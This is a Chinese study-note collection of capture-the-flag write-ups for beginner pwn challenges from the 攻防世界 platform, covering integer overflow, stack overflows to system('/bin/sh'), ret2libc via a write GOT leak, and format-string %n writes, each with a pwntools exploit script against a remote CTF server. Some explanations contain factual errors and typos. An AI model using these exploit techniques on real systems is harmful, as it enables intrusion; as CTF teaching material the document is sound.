攻防世界本身自带wp,但是有些wp有些老旧并且在当时的我看来不够详细,所以我这里算是记录也算是补充。(相当大一部分参考了攻防世界已有的wp)
同时也算是给自己做了学习笔记
攻防世界经常调整题目的顺序,所以你们看见题目顺序不一样是很正常的事情
这个题目翻译一下就是整数溢出的意思
在这里攻防世界内部自带的wp已经很完善了,所以我权当给自己做个笔记
我们在这里要先解释一下整数溢出的原理
假定一个整数,为int类型,我们要知道他的取值范围在0-65535之间
那么如果如果我们赋值给var1=0,var2=65536,那么在条件判断语句if(var1=var2)之下,他们两个是相等的,同理可得var1=1=var2=65537。
这题我们就根据这样的原理来作答。
检查保护,发现只开了NX,并且是一个32位的程序
放入IDA
没有发现什么,点进login函数
最后两行可以找到read读进了一个最大长度为0x199的变量
然后进入check_passwd函数
我们来慢慢看这段程序的逻辑
重点在于v3=strlen(s)
意为v3被变量s的长度赋值,而v3做为一个unsigned __int类型的变量,其范围1字节,8bit,也就是0-255
这里我们就想到题目所说的整数溢出漏洞
如果v3小于3或者大于8,那么提示非法字符
否则提示成功,result等于s(strcpy意为将s存入dest)
到这里由已知信息,我们已经可以知道我们可以输入的变量s,长度最大为0x199个字符(也就是409),而这个变量v3只能存放255,那么显然会有栈溢出漏洞
而根据整数溢出,也就是说,我们输入的变量s,可以是3-8个字符,也可以是259-264个字符,整数溢出后会变成3-8
接着shift+F12查看字符串看见了cat flag
属于what is this 函数中,点进what is this 函数
发现有 call _system,应该就是我们要找的
然后根据这张图找到what_is_this函数的地址,入口就在0x0804868B(在学这里的时候我才刚入门,不知道左边的函数窗口可以直接看到。)
可以看到目的地的栈堆dest只有0x14,所以只需要0x14个字符就能把dest的栈覆盖,然后进入到what is this 函数中
除此之外,我们还需要4个字符将函数的返回地址覆盖
然后我们就可以开始写payload了
259-264(这样溢出后才在3-8之间) 之间随机选择一个数,这里取 262,262-0x14-4-4=234
这里为什么要两次减去4呢,因为第一个是覆盖函数的返回地址,另外一个就是这里存在leave指令,所以还需要一次覆盖(leval也会执行一次出栈操作)
同时贴一下脚本,并附上翻译
from pwn import * 引进pwn库
io = remote("111.198.29.45", 47271) 与目标主机建立联系,111.198.29.45为IP,port为端口号
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:") 接受消息,直到接收到 your passwd的时候停止。
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)+"a"*234 设置好payload,做为我们的输入
io.sendline(payload) 发送消息(也就是输入)
io.recv() 接收消息
io.interactive() 返回交互信息
复制粘贴的时候记得去掉中文
按照惯例查看文件保护和位数
发现是32位然后开了NX保护然后是32位的
然后我们放入32位的IDA
发现末尾有gets函数,估计溢出点就在这里了。
(老知识点了,gets函数对输入的字符数量没有限制)
同时我们又发现一个fgets函数,大意是从stdin中读取一行,把他存储在name变量里,当读取到换行符,或者到达文件末尾时,或者读取到49个字符时,它会停止,估计就是利用这个name变量做文章了
打开shift+F12查看字符串也没有发现什么/bin/sh,应该是要自己构造了
这个name存在于bss段上,我们可以考虑输入\bin\sh,存放在这里构造,记下地址是0x0804A080
看一下百度的解释,这个bss段大意就是运行程序之后再次打开需要重新输入内容的意思(当然这个和题目没什么关系,当做了解)
在左边界面里面,可以找到一个pwn函数,里面有一个system
可惜不是\bin\sh,所以也证实我们需要自己构造\bin\sh
这里不要按F5查看pwn的汇编语言,可以发现一个call _system
我们先查询字符串找到echo hehehe
然后点击进入
依据右边的提示向上找
找到pwn函数,并且发现 call _system的地址
是0x804855A
然后我们来编写脚本
从前面的信息已经可以知道,我们在hello函数里面找到了一个gets()函数向s区域读取了字符串,因为gets函数不限制字符串输入且程序没有开启stack保护,所以我们可以使用fgets函数读取我们的输入时让输入的字符串覆盖栈上hello函数的返回地址,然后让程序在执行完hello函数之后执行我们输入的部分
(这个脚本来自于攻防世界已有wp,他解释的相当到位了,我自觉不能解释的更好了)
from pwn import*
r =remote('111.198.29.45'.51186)
target=0x804855A //call system的地址
binsh=0x804A80
//name区域的地址,我们向name区域输入/bin/sh,然后让这个地址作为system函数的参数,完成system("/bin/sh")
payload = 'a' *0x26 +'bbbb' +p32(target)+p32(binsh)
/*填充栈| 0x26来自于binsh减去target
0x80=8*16=128
0x5A=16*5+10=90
128-90=38=0x26
4个b覆盖保存的exp值,然后用假的返回地址target指向call system
最后用call system的参数也就是name来作为我们想要输入的目的*/
a=r.recvuntil('please tell me your name\n')
r.sendline('/bin/sh') //(这里也可以写r.sendline('cat flag')),区别只是不用再输入cat flag了而已
a=r.recvuntil('hello, you can leave some message here')
r.sendline(payload)
r.interactive()
先检查下保护(不截图了,麻烦)
64位程序,然后开了Canary保护和NX保护,放进IDA找到main函数然后F5
分析下程序逻辑,就是,先问你哪年生的,输入之后再问你叫什么名字,输入之后,如果你之前输入的是1926,那么你就能cat flag,但是如果你之前输入1926那么直接跳过cat flag,总之就是一个矛盾的事情,
但是我们学了pwn就知道这种事情当然是有漏洞可以钻的,
我们这个时候看到这个gets(v4),经典利用点了,把它作为溢出点,我们只需要在v4中输入足够多的的字符,确保v5能够溢出到原来v5的地方,就能够输入1926,使我们能够cat flag了,那我们要输入多少呢
点开v5,发现在var18,点开v4,发现在var20,把他们相减 0x20-0x18,就得到答案32-24=8,相差8个字节
这里懒了,直接拿wp里的吧(他写的应该比我原创的好)
from pwn import *
#设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote(“111.198.29.45”, 33219)
#设置payload,准备覆盖
payload = ‘a’ * (0x20 - 0x18) + p64(1926)
#这是接受消息,直到什么停止这样
r.recvuntil(“What’s Your Birth?\n”)
#发送消息
r.sendline(“2000”)
r.recvuntil(“What’s Your Name?\n”)
r.sendline(payload)
print r.recv()
print r.recv()
下面介绍一个知识点,那就是p32其实就是分割开来转换成十六进制
如上图,比如F
比如1926,我们就可以写成0x786,然后用p32转换就是x06\x08\x07,
786
不多解释,64位,开了NX保护(堆栈不可执行)
扔进IDA然后F2反汇编main函数
吧这个sub_400686()点开看看,发现就是cat flag(上面那个dword也点开过了,是个变量,并且可以发现在bss段)
前面的题目已经介绍过bss段了,就是每次重新打开程序就会清零的数据,可以拿来利用
可以看出我们可以控制的变量有unk_601068这个函数,那么显然是要我们在unk_601068函数中造成溢出漏洞了
,点开unk_601068的位置
发现unk和dword这两个函数距离很近啊,只有四个字节,而unk给了我们输入10个字节的权利(学的越多越觉得这种错误真是刻意啊)然后我们只要覆盖这四个字节然后把要求的1853186401输进去就好了
from pwn import*
p = remote('111.198.29.45',49343)
#p = process('./hello_pwn')
payload = 'a'*4 + p64(1853186401)
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()
不多说,查完32位,啥保护都没有,然后看main函数
。。。。没啥好操作的,点开vulnerable函数
emmmmm,好明显,read函数0x100,buf只有0x88的空间,然后造成溢出
在vulnerable函数找找system的地址,
依据这两张图找到system和/bin/sh的地址,然后写下脚本
from pwn import *
p=remote (‘111.198.29.45’,‘38315’)
sysaddr=0x088048320
binshaddr=0x0804A024
payload=‘a’ *(0x88+0x04)+p32(sysaddr)+p32(0)+p32(binshaddr)
p.send(payload)
p.interactive()
这里找到一张图,说明为什么每次需要4个字节来覆盖,目的就是为了覆盖途中的返回地址,也就是ebp+4h所对应的的位置,而这里还需要一个p32(0)是因为这道题我们正常调用system函数,所以还需要覆盖system的返回地址。
脚本内部自带的就很好了,过程以后再解释
from pwn import *
context.log_level = 'debug'
conn = remote('111.198.29.45', 49214)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = 'A' * (0x88 + 4)
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(write_got) + p32(4)
conn.sendlineafter('Input:\n', payload)
write_addr = u32(conn.recv()[:4])
libc_base = write_addr - libc.symbols['write']
print 'libc_base is', libc_base
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
payload = 'A' * (0x88 + 4)
payload += p32(sys_addr)
payload += '9527'
payload += p32(bin_addr)
conn.sendline(payload)
conn.interactive()
conn.close()
看完文件信息,64位,开了NX和Canary
看看main函数,稍微解释一下,就是利用动态分配地址函数(malloc),将8个字节大小的地址赋值给v3,然后v3赋值给v4,又将68存放v3的地址中(68这个数字占用4个字节),然后又在v3[1]中存放了85,(其实就相当于v3被存放满了)
然后好奇的点开sub_400D72,可以看到里面还有3个sub(套娃?)然后一个个点开,这里不截图了
点开3个函数看过之后发现漏洞出现在这个sub_400BB9函数的这句printf(&format,&format)里面,属于格式化字符串漏洞(具体的原理可以看我的另外一篇文章,简单地说就是输出变量的时候没有规定变量的类型而导致了漏洞)
利用这个漏洞的方法主要是利用\n这个东西(其他方式可以自行观看手册或者看我的另外一篇文章)
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()
也是有关格式化字符串漏洞的题目
先查看保护,32位,开了NX和CANNARY
扔进IDA看main函数,一下子就能看到一个printf(&s),这就是常见的格式化字符串漏洞点
并且看见了核心条件,那就是pwnme==8
然后我们来讲解一下格式化字符串漏洞
在使用输出功能时,例如使用printf()函数时
使用了如下的代码,
printf(&s),
当然这是种错误的写法
正确的写法是
printf("%s",s)
但是错误的写法可以运行么,答案是可以的。但是会出现漏洞使程序错误的读入一些额外的东西
一般解这种题目主要用到的符号就是%n
这个%n的功能是:打印到目前为止的字符串
(具体可以看我另外的文章)
这样子我们就可以利用漏洞将pwnme修改为8,然后顺利绕过程序的验证,拿到flag
这里直接采用了wp中的东西,做这个题目需要两步
1、我们需要将 pwnme 的地址输入到 s(也就是 message)中去
2、在合适的位置上加一个%n
,使其与我们输入的地址对应从而造成漏洞利用
所以接下来的问题变成了如何让他们对应起来
然后我们简单介绍一下偏移量这个东西
简单来说,偏移量的存在就是为了确定数据的大概位置,比如说一列火车,如果你不知道你的座位在哪里,你就需要一个一个车厢找过去,但是告诉了你的座位在哪个车厢,你就可以直接去对应的车厢了,而不是从头开始找,所以偏移量大致的作用就是告诉你数据的大概范围,让程序不用从开头一直找到最后,节约性能。
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
%p - 指针 - 指针地址
根据这个程序的输出,我们可以看到0x41414141就是我们输入的AAAA,然后他的前面有10个字符,那么我们可知偏移量是10
from pwn import *
r = remote(‘111.198.29.45’, 46635)
pwnme_addr = 0x0804A068 #pwnme 地址在伪代码中双击就能查看哦
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’ #pwnme 的地址需要经过
32 位编码转换,是四位,而 pwnme 需要等于 8,所以‘aaaa’起着凑字数的作用
r.recvuntil(“please tell me your name:\n”)
r.sendline(‘1’)
r.recvuntil(“leave your message please:\n”)
r.sendline(payload)
r.interactive()